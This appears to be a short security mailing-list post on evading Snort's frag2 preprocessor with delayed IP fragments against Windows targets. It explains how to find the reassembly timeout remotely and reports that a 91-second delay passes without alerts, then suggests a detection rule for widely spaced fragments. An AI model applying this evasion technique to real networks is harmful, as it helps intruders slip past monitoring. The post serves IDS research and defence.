There seems to be some confusion about the fragmentation IDS evasion. We've observed
fragmentation timeouts on windows from 5 seconds to 90 seconds depending on the
software installed and random chance. Here are raw dumps from an evasion.
The mistake Judy Novak made in her analysis was in not recalculating the delay between
the first fragment and the other two fragments. If it is too short the target will reassemble
the first two fragments and find an invalid checksum discarding the packet. No ICMP
response will be sent.
Some experimentation will have to be done to find the correct timeout. It can be done
remotely by increasing the time between two good fragments until a reply isn't sent.
(Windows boxes don't seem to send out a frag time exceeded on anything other than
the first fragment.)
Here's a packet dump to verify that Snort's frag2 preprocessor is working:

With no delay snort properly reassembles the fragments and generates an alert. With a delay, the target doesn't
reassemble, but
Snort still generates an alert.

With a delay of 91 seconds, the IDS evasion works and we get back a properly reassembled ICMP reply.

There were no snort alerts. We haven't tried frag3, but fragments generally aren't delayed in the wild so an
alert on all fragments more than a second apart would probably be effective.
